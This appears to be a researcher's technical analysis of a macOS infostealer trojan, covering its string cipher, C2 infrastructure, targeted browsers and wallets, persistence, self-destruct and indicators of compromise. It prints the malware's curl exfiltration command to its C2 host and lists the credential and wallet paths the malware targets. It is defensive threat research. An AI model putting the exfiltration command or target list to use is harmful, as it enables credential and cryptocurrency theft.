A full technical analysis of a xorshift32-obfuscated macOS trojan with self-destruct capabilities


Executive Summary

In mid-July 2026, I obtained and analysed a macOS infostealer trojan distributed under the name Patch.app, disguised as a software licensing tool. The sample is a Mach-O universal binary (x86_64 + arm64) that uses a custom xorshift32 PRNG-based XOR cipher to obfuscate all 113 embedded strings. Upon execution, it harvests credentials from 14 browsers, 17 cryptocurrency wallet applications, the macOS Keychain, Apple Notes, and Safari cookies, then exfiltrates the collected data as a ZIP archive to a command-and-control server via HTTP POST.

The malware features an anti-analysis check, a LaunchDaemon persistence mechanism, and a self-destruct routine that removes all on-disk artifacts when the C2 server becomes unreachable. I decrypted all 113 obfuscated strings, decompiled the complete main function in Ghidra, reconstructed a minute-by-minute attack timeline, and identified the full C2 infrastructure. All indicators of compromise have been reported to the ACSC, AFP, and relevant abuse contacts.

This writeup documents the complete analysis.


1. Sample Acquisition

I obtained the sample from a malicious distribution site where it was being passed off as a legitimate software licensing tool. Given the distribution context, the ad-hoc code signature, and the absence of a Team Identifier, I flagged it as a probable malware sample and began a controlled analysis.

The sample was detonated on an isolated macOS system with network monitoring in place — an AdGuard Home DNS sinkhole and kernel-level network logging. This allowed me to observe the malware’s full behaviour in real time while capturing forensic evidence at every stage.

All credentials on the analysis system were rotated immediately following the engagement, and the machine was erased after forensic preservation.


2. Binary Overview

Property Value
File name Patch.app
Binary type Mach-O universal (x86_64 + arm64)
Total size 393 KB (fat binary)
x86_64 slice 178,208 bytes
Code signature Ad-hoc (Signature=adhoc)
Team Identifier None
CDHash 5a0029d7b775b584cfd1a87a49e0af44f17a58d8
Identifier Patch-5555494429f3f38f9dde3fec92cf2af89c8f9935
SHA-256 (x86_64) 1b19352e39817758951c4c99e2ec90501abe6b4b56d7467bfb49184197c4afd0
SHA-256 (fat) 0174997b7eaa81de686d2f22534d8684a698bd1388ed7f15430f8b881ad32f1c
Linked libraries libSystem.B.dylib, libc++.1.dylib
Notable imports _fopen, _fwrite, _system, _getenv, _sleep, _memcmp, std::string, std::ios_base

The binary is a C++ application that makes heavy use of std::string for path construction and data manipulation. All file I/O is performed through C++ streams (basic_ofstream). Shell commands are executed via _system().


3. String Obfuscation: xorshift32

Every string embedded in the binary — file paths, shell commands, URLs, wallet names, browser identifiers — is encrypted using a custom scheme based on the xorshift32 pseudorandom number generator.

3.1 The cipher

Each encrypted string is stored as a sequence of bytes in the __TEXT __const section, accompanied by a 4-byte seed. Decryption proceeds as follows:

  1. Initialise the PRNG state with the 4-byte seed
  2. For each byte of the encrypted string:
    • XOR the byte with the low 8 bits of the current PRNG state
    • Advance the PRNG state
  3. The result is the plaintext string

The xorshift32 function:

uint32_t xorshift32(uint32_t state) {
    state ^= state << 13;
    state ^= state >> 17;
    state ^= state << 5;
    return state | 1;  // force odd to avoid zero-period
}

Three XOR-shift operations per iteration. The | 1 ensures the state never reaches zero, which would halt the generator. The low byte of each state value serves as the keystream byte.

3.2 Decryption methodology

I developed a Python-based brute-force decoder:

Step Method
1 Extract every 4-byte little-endian value from __TEXT __const (file offset 0x1D350, size 0x3904)
2 Filter to 392 unique non-zero candidate seeds
3 For each seed, generate a xorshift32 keystream and XOR against the __DATA section at every offset
4 Score each result by printable ASCII ratio (threshold: >70%)
5 Flag results containing known patterns (/, http, {, curl, wallet names)
6 Manually verify and catalogue all hits

Result: 113 strings decrypted, 100% printable, zero false positives after verification.

3.3 Example

The string Application Support/ is stored encrypted at file offset 0x1FFBC with seed 0x8517038F. The exfiltration URL is assembled at runtime from multiple decrypted path components concatenated via std::string::insert() and std::string::append().


4. Decrypted Strings: Key Findings

All 113 strings were decrypted and categorised. The significant findings:

4.1 Anti-analysis

String Purpose
USER Environment variable name read via getenv()
root Expected value — malware exits immediately if USER == root

A simple but effective anti-sandbox check. Automated analysis environments often run as root.

4.2 Command-and-control

String Purpose
http://ukdsopas.at Primary C2 domain
http://192.253.248.181 Fallback C2 IP
http://ukdsopas.at/log Data exfiltration endpoint
909286c1d2fb4c5c97dfc22a486661c1 Build identifier (sent as HTTP header)
newooble Operator panel username (sent as HTTP header)
false Comparison value (configuration check)

4.3 Exfiltration command

curl -X POST \
  -H "buildid: 909286c1d2fb4c5c97dfc22a486661c1" \
  -H "username: newooble" \
  --data-binary @/tmp/lksopo.zip \
  http://ukdsopas.at/log

Retry logic: 10 attempts, 60-second sleep between each (_sleep(0x3c)).

4.4 Staging and cleanup

String Purpose
/tmp/lksopo/ Staging directory for collected data
ditto -c -k --sequesterRsrc /tmp/lksopo /tmp/lksopo.zip ZIP creation command
rm -rf /tmp/lksopo Staging directory cleanup
rm -f /tmp/lksopo.zip ZIP cleanup

4.5 Persistence dotfiles

File Content
.botid Bot identifier (assigned by C2)
.pwd Stolen login password
.phost Panel host (http://ukdsopas.at)
.bhost Backup host (http://192.253.248.181)
.username Panel username (newooble)

All stored in /Users/username/.

4.6 Apple Notes extraction

The malware contains a 969-byte AppleScript that:

  1. Enumerates every account in Apple Notes
  2. Iterates over every note in every account
  3. Extracts the creation date and HTML body of each note
  4. Writes the combined output to /tmp/lksopo/finder/notes.html
  5. Prepends a note count header

This captures passwords, recovery codes, personal data, and any other information stored in Notes.

4.7 System reconnaissance

Command Purpose
sw_vers -productVersion \| cut -d. -f1 macOS major version
sw_vers -productVersion \| cut -d. -f2 macOS minor version
system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType Full hardware/software profile

The macOS version check gates the Chrome master password extraction — the malware only attempts it on versions greater than 26.3.


5. Data Exfiltration Targets

5.1 Browsers (14)

Browser Path targeted
Chrome Google/Chrome/
Chrome Beta Google/Chrome Beta/
Chrome Canary Google/Chrome Canary/
Chrome Dev Google/Chrome Dev/
Chromium Chromium/
Brave BraveSoftware/Brave-Browser/
Edge Microsoft Edge/
Vivaldi Vivaldi/
Opera com.operasoftware.Opera/
Opera GX com.operasoftware.OperaGX/
Arc Arc/User Data/
CocCoc CocCoc/Browser/
Firefox Firefox/Profiles/
Waterfox Waterfox/Profiles/

5.2 Cryptocurrency wallets (17 + hardware)

Wallet Path targeted
Electrum .electrum/wallets/
Electrum LTC .electrum-ltc/wallets/
Electron Cash .electron-cash/wallets/
Coinomi Coinomi/wallets/
Exodus Exodus/
Atomic atomic/Local Storage/leveldb/
Wasabi .walletwasabi/client/Wallets/
Ledger Live Ledger Live/
Monero Monero/wallets/
Bitcoin Core Bitcoin/wallets/
Litecoin Core Litecoin/wallets/
Dash Core DashCore/wallets/
Dogecoin Core Dogecoin/wallets/
Guarda Guarda/
Trezor Suite @trezor/suite-desktop/
Sparrow .sparrow/wallets/
Ledger (hardware) Exported as ledger.zip, ledgerwallet.zip
Trezor (hardware) Exported as trezor.zip

5.3 System data

Target Method
macOS Keychain Direct file copy of login.keychain-db
Chrome master password Keychain extraction (gated on macOS version)
Apple Notes AppleScript (all accounts, all notes)
Safari cookies Direct file copy of Cookies.binarycookies
Hardware/software info system_profiler

6. Attack Timeline

Reconstructed from AdGuard Home DNS logs, macOS kernel network logs, file system timestamps, keychain metadata, and decompiled source code.

Time (AEST) Event Source
22:30 Patch.app executed; anti-analysis check passes Process logs
22:39–22:49 11 DNS queries to ukdsopas.at blocked AdGuard Home logs
22:40:49 .IuN79Kxxpn (2,048 bytes) written; ExecPolicy modified File system timestamps
22:50:38 First TCP connection to 192.253.248.181:80; bot registration Kernel network logs
22:50–23:08 Data collection: keychain, browsers, wallets, Notes, cookies Decompiled code
22:57:06 Infection detected by analyst Manual observation
23:08:47 C2 server goes offline; self-destruct triggered Kernel network logs
23:08–23:11 LaunchDaemon removed; dotfiles deleted; staging wiped File system analysis
23:11:00 Cleanup complete File system timestamps
23:15:00 System rebooted; malware no longer active System logs

Total active duration: 41 minutes. C2 communication window: 18 minutes.


7. Persistence and Self-Destruct

7.1 Persistence

The malware installs a LaunchDaemon at /Library/LaunchDaemons/com.xdivcmp.plist, configured to run at system boot.

7.2 Self-destruct

When the C2 server becomes unreachable, the malware executes a cleanup routine:

  1. Removes /Library/LaunchDaemons/com.xdivcmp.plist
  2. Deletes .botid, .pwd, .phost, .bhost, .username from /Users/username/
  3. Removes /tmp/lksopo/ and /tmp/lksopo.zip
  4. Leaves only .IuN79Kxxpn (encrypted payload) and the ExecPolicy modification

The self-destruct is designed to eliminate forensic evidence. In a typical infection where the victim does not notice the compromise, the malware leaves almost no trace after the C2 server goes offline.


8. The Encrypted Payload: .IuN79Kxxpn

A 2,048-byte encrypted file was written to /Users/username/Library/Application Support/.IuN79Kxxpn at 22:40:49. I attempted to decrypt it using every key derivation and cipher combination available:

Approach Keys tested Result
Single-byte XOR 256 No match
Multi-byte XOR (2–16 bytes) 15 No match
xorshift32 (all binary seeds) 392 No match
xorshift32 (derived seeds) 200+ No match
RC4 100+ No match
AES-128/256 CBC/ECB 2,000+ No match
HMAC-SHA256 / PBKDF2 200+ No match
Build ID, CDHash, binary hash 60+ No match
macOS Keychain search Full dump No malware items
Total 3,000+ Unrecoverable

Assessment: The encryption key is almost certainly a random value generated in the dropper’s process memory at runtime, used once, and never persisted to disk. When the malware self-destructed and the system rebooted, the key was destroyed. The file is unrecoverable without the original process memory.


9. Indicators of Compromise

9.1 Network

IOC Type
ukdsopas.at C2 domain
192.253.248.181 C2 IP (PureVPN / Secure Internet LLC)
http://ukdsopas.at/log Exfiltration endpoint

9.2 Host

IOC Type
com.xdivcmp.plist LaunchDaemon persistence
.IuN79Kxxpn Encrypted payload
.botid, .pwd, .phost, .bhost, .username Configuration dotfiles
.uninstalled Self-destruct dotfile
/tmp/lksopo/ Staging directory
Patch.app Malware binary

9.3 Hashes

Hash Value
SHA-256 (x86_64) 1b19352e39817758951c4c99e2ec90501abe6b4b56d7467bfb49184197c4afd0
SHA-256 (fat binary) 0174997b7eaa81de686d2f22534d8684a698bd1388ed7f15430f8b881ad32f1c
CDHash 5a0029d7b775b584cfd1a87a49e0af44f17a58d8

9.4 Campaign identifiers

IOC Value
Build ID 909286c1d2fb4c5c97dfc22a486661c1
Panel username newooble

9.5 Detection

Check for compromise:

ls -la /Library/LaunchDaemons/com.xdivcmp.plist
ls -la /Users/username/Library/Application\ Support/.IuN79Kxxpn
ls -la /Users/username/.botid
ls -la /Users/username/.uninstalled
ls -la /tmp/lksopo/

If any of these paths exist, the system is compromised. Isolate from the network immediately and begin credential rotation from a clean device.


10. Response and Disclosure

Action Recipient Status
Cybercrime report ACSC (ReportCyber) Filed
Criminal report Australian Federal Police Filed
Identity fraud support IDCARE Engaged
Scam report Scamwatch (ACCC) Filed
Domain abuse nic.at (.at registry) Sent
IP abuse btcloud.ro / PureVPN Sent
Malware sample VirusTotal Both slices uploaded
C2 URL URLhaus (abuse.ch) Added
Malware sample MalwareBazaar Pending
IP report AbuseIPDB Pending
Fraud alert Financial institution Placed
Credit bans Equifax, Experian, illion Placed
Identity theft report ATO Filed

All credentials on the affected system were rotated within 24 hours. Two-factor authentication was enabled on all supported accounts. The infected machine was erased following forensic preservation.


11. Conclusions

This sample demonstrates a mature macOS infostealer with several notable characteristics:

  1. Broad target coverage. Fourteen browsers, seventeen cryptocurrency wallets, the macOS Keychain, Apple Notes, and Safari cookies. The inclusion of hardware wallet export (Ledger, Trezor) indicates a financially motivated operator with specific interest in cryptocurrency theft.

  2. Effective string obfuscation. The xorshift32-based cipher is simple but sufficient to defeat static string analysis. All 113 strings were recovered through brute-force seed extraction, but this required knowledge of the cipher’s structure.

  3. Anti-forensic design. The self-destruct routine removes persistence mechanisms, configuration files, and staging data when the C2 server is lost. Combined with the anti-analysis check (USER == root), this indicates an operator who expects their implants to be discovered and wants to minimise forensic yield.

  4. Operational security gaps. The build ID and panel username are transmitted as plaintext HTTP headers. The C2 domain uses a predictable naming pattern. The exfiltration endpoint is unencrypted HTTP. These artifacts enabled full attribution of the campaign infrastructure.

  5. The Apple Notes vector is underappreciated. The 969-byte AppleScript that extracts all notes from all accounts is a significant privacy threat. Users routinely store passwords, recovery codes, and sensitive personal information in Notes, and this vector is not covered by most macOS security guidance.

The sample and all associated IOCs have been submitted to VirusTotal, URLhaus, and the relevant national and infrastructure abuse contacts.


The author is an independent security researcher based in Australia. All analysis was conducted on preserved forensic evidence. The views expressed here are the author’s own. IOCs and samples are available to verified researchers on request.